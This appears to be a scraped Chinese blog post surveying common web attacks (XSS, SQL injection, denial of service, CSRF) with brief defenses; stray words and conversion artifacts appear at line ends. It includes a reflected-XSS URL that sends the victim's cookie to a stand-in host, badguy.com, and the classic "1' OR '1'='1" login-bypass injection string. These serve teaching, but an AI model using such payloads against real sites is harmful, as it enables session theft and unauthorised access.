web 安全領域的一些常見攻防

搞web離不開security這個話題,以前關注的也很少只是據說一些名詞什麼的。是時候好好看看這些安全問題了。根據Cenzic 2012年的報告看一下都有哪些常見攻擊。html

37%    Cross-site scripting
16%    SQL injection
5%    Path disclosure
5%    Denial-of-service attack
4%    Arbitrary code execution
4%    Memory corruption
4%    Cross-site request forgery
3%    Data breach (information disclosure)
3%    Arbitrary file inclusion
2%    Local file inclusion
1%    Remote file inclusion
1%    Buffer overflow
15%    Other, including code injection (PHP/JavaScript), etc.

排好隊先看幾個我接觸過的。程序員

cross site script (XSS)

什麼是XSS

XSS指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 用戶瀏覽網頁就會觸發惡意腳本執行。 好比獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。如何把惡意代碼嵌入到用戶要訪問的網頁中,攻擊者挖空心思各出奇招了。通常會有這兩類方式:web

  • Reflected (non-persistent)
    反射攻擊,就是惡意代碼藏在本地,表現方式多是一個惡意連接,你點擊後給server GET/POST這個request,server若是沒有恰當的處理這個請求,惡意代碼返回給用戶瀏覽器並執行。舉個例子就比較明白了。來自Web安全測試之XSS數據庫

有這麼個網頁,查詢的結果和查詢的關鍵字都會顯示到網頁上。瀏覽器

<html>
  <title></title>
    <body>
        Results  for  <%Reequest.QueryString("term")%>
        ...
    </body>
</html>

Tom 先創建一個網站http://badguy.com, 用來接收「偷」來的信息。而後Tom 構造一個惡意的url(以下), 經過某種方式(郵件,QQ)發給Monica安全

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被髮送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.服務器

XSS防治之道

  1. 文本輸入作中對js關鍵字作編碼,讓回給用戶瀏覽器的js不可執行cookie

  2. 瀏覽器的同源策略,瀏覽器只容許訪問cookie的IP+port必須同最初建立cookie的ip+port相同網絡

  3. web app或者瀏覽器提供「禁用script」的選項session

SQL injection

什麼是SQL 注入

SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。至關大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶能夠提交一段數據庫查詢代碼,根據程序返回的結果,得到某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

某個網站的登陸驗證的SQL查詢代碼爲:

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

惡意填入

userName = "1' OR '1'='1"; 與passWord = "1' OR '1'='1";

將致使本來的SQL字符串被填爲

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

也就是實際上運行的SQL命令會變成下面這樣的

strSQL = "SELECT * FROM users;"

所以達到無帳號密碼,亦可登陸網站。因此SQL注入攻擊被俗稱爲黑客的填空遊戲。

SQL injection 防治之道

從安全技術手段上來講,能夠經過數據庫防火牆實現對SQL注入攻擊的防範,由於SQL注入攻擊每每是經過應用程序來進攻,可使用虛擬補丁技術實現對注入攻擊的SQL特徵識別,實現實時攻擊阻斷。

Denial-of-service

顧名思義,拒絕服務攻擊就是想盡辦法讓你的服務器沒法正常提供服務。方法太多了,可是仔細研究攻擊的模式,能夠分爲如下四種狀況:

  a.消耗包括網絡帶寬、存儲空間、CPU 時間等資源;

  b.破壞或者更改配置信息;

  C.物理破壞或者改變網絡部件;

  d.利用服務程序中的處理錯誤使服務失效
若是攻擊者使用分佈在各地的PC來發起攻擊,這就是DDOS了,distributed DOS。有關如何防治DDOS,沒有太好的辦法,轉一個知乎上的討論,知乎討論DDOS

Cross-site request forgery

跨站請求僞造也被稱爲 one-click attack 或者 session riding,一般縮寫爲 CSRF 或者 XSRF, 是一種挾制用戶在當前已登陸的Web應用程序上執行非本意的操做的攻擊方法。跟跨網站指令碼(XSS)相比,XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶網頁瀏覽器的信任。你這能夠這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發送惡意請求。淺談CSRF攻擊方式 有個不錯的例子描述,一目瞭然。

clipboard.png

防護 CSRF 攻擊策略

  1. 驗證 HTTP Referer 字段
    HTTP頭裏有Referer字段,這個字段用以標識請求來源地址。在處理敏感信息時,一般來說Referer字段應和請求的地址位於同一域名下。好比銀行頁面上的轉帳連接http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName,Referer字段地址一般應該位於www.examplebank.com之下,也就是這個連接必須是這個網站域名下面的網頁提供的。而若是是CSRF攻擊的請求通常是其餘惡意網站的網頁,瀏覽器填Referer字段時會填惡意網站的地址,不會位於www.examplebank.com之下,這時候server端能夠識別出惡意訪問。

  2. 在請求地址中添加 token 並驗證
    只要server端能夠識別出發來的請求不是來自server本身提供的網頁上的連接,server就能識別這不是我容許的請求,肯能是CSRF假裝的請求。若是標識這些敏感請求呢?server能夠在這個連接旁邊附帶一個隨機碼(csrf token),若是你是正常訪問天然能夠帶上來正確的csrf token,不然就是其餘惡意訪問了。

安全是個大領域,暫時先到這裏,之後有時間再總結寫別的。

Web_application_security
Web Application Security
Web安全測試之XSS
拒絕服務攻擊
知乎討論DDOS
淺談CSRF攻擊方式

相關文章
相關標籤/搜索